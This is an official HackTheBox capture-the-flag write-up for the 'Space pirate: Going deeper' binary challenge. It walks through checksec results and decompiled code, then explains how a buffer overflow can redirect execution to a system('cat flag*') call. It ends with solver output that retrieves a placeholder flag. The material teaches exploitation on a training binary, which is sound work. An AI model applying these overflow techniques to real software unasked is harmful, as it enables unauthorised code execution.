



# HACKTHEBOX



## Space pirate: Going deeper

15<sup>th</sup> April 2022 / Document No. D22.102.242

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: **Very Easy**

Classification: Official

## Synopsis

Space pirate: Going deeper is a very easy difficulty challenge that features a relative jump inside the program.

## Skills Learned

- Relative jump

## Enumeration

First of all, we start with `checksec`:

```
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
RUNPATH:   b'./glibc/'
```

## Protections

| Protection | Enabled | Usage                            |
|------------|---------|----------------------------------|
| Canary     | ✗       | Prevents <b>Buffer Overflows</b> |

| Protection | Enabled | Usage                                            |
|------------|---------|--------------------------------------------------|
| NX         | ✓       | Disables <b>code execution</b> on stack          |
| PIE        | ✗       | Randomizes the <b>base address</b> of the binary |
| RelRO      | Full    | Makes some binary sections <b>read-only</b>      |

The interface of the program looks like this:

```
Trying to leak information from the pc.. 🖥️

┌────────────────────────────────────────────────────────────────────────────────┐
│                                                                              │
│  goldenfang@ed12:$ history                                                  │
│    1 ls                                                                    │
│    2 mv secret_pass.txt flag.txt                                           │
│    3 chmod -x missile_launcher.py                                          │
│    4 ls                                                                    │
│    5 history                                                                │
│                                                                              │
└────────────────────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────────────────────┐
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
│                                                                              │
└────────────────────────────────────────────────────────────────────────────────┘

[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.

1. Disable mechanisms ☹️
2. Login ✓
3. Exit 🚀
>>
```

## Disassembly

Starting from `admin_panel()`:

```
void admin_panel(long param_1,long param_2,long param_3)
```

```

{
    int iVar1;
    char local_38 [40];
    long local_10;

    local_10 = 0;
    printf(
        "[*] Safety mechanisms are enabled!\n[*] Values are set to: a = [%x],
b = [%ld], c =[%ld].\n[*] If you want to continue, disable the mechanism or
login as admin.\n"
        ,param_1,param_2,param_3);
    while (((local_10 != 1 && (local_10 != 2)) && (local_10 != 3))) {
        printf(&DAT_004014e8);
        local_10 = read_num();
    }
    if (local_10 == 1) {
        printf("\n[*] Input: ");
    }
    else {
        if (local_10 != 2) {
            puts("\n[!] Exiting..\n");
            /* WARNING: Subroutine does not return */
            exit(0x1b39);
        }
        printf("\n[*] Username: ");
    }
    read(0,local_38,0x39);
    if (((param_1 != 0xdeadbeef) || (param_2 != 0x1337c0de)) || (param_3 !=
0x1337beef)) {
        iVar1 =
strncmp("DRAEGER15th30n34ndOnly4dm1n15tr4t0R0fth15sp4c3cr4ft",local_38,0x34);
        if (iVar1 != 0) {
            printf("\n%s[-] Authentication failed!\n",&DAT_00400c40);
            goto LAB_00400b38;
        }
    }
    printf("\n%s[+] Welcome admin! The secret message is:",&DAT_00400c38);
    system("cat flag*");
LAB_00400b38:
    puts("\n[!] For security reasons, you are logged out..\n");
    return;
}

```

- There is a 40 bytes long buffer -> `local_38`.
- There is a `read(0, local_38, 0x39)`, which triggers a `Buffer Overflow`.
- Last but not least, we see a `system("cat flag*")` command.

As we noticed before, `canary` and `PIE` are disabled, meaning we can trigger a Buffer Overflow and redirect the flow anywhere we want inside the binary. Keep in mind that the payload could not be too big because the read reads up to 0x39 bytes. After that, we can overflow the buffer and jump right before the system is called.

# Debugging

We cannot pass the other checks to call the system, but we can follow this address.

```
0x0000000000400b12 <+297>: lea    rdi,[rip+0xaa5]          # 0x4015be
0x0000000000400b19 <+304>: call  0x400700 <system@plt>
```

The remote instance might be unstable, I made a loop inside the solver until it finds flag.txt.

## Solution

```
[+] Opening connection to 0.0.0.0 on port 1337: Done
Arch:    amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'./glibc/'
[-] Could not get flag! Tries: [1]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [2]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [3]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [4]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [5]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [6]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [7]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[-] Could not get flag! Tries: [8]
[*] Closed connection to 0.0.0.0 port 1337
[+] Opening connection to 0.0.0.0 on port 1337: Done
[+] Flag --> HTB{f4k3_fl4g_4_t35t1ng}
[*] Closed connection to 0.0.0.0 port 1337
```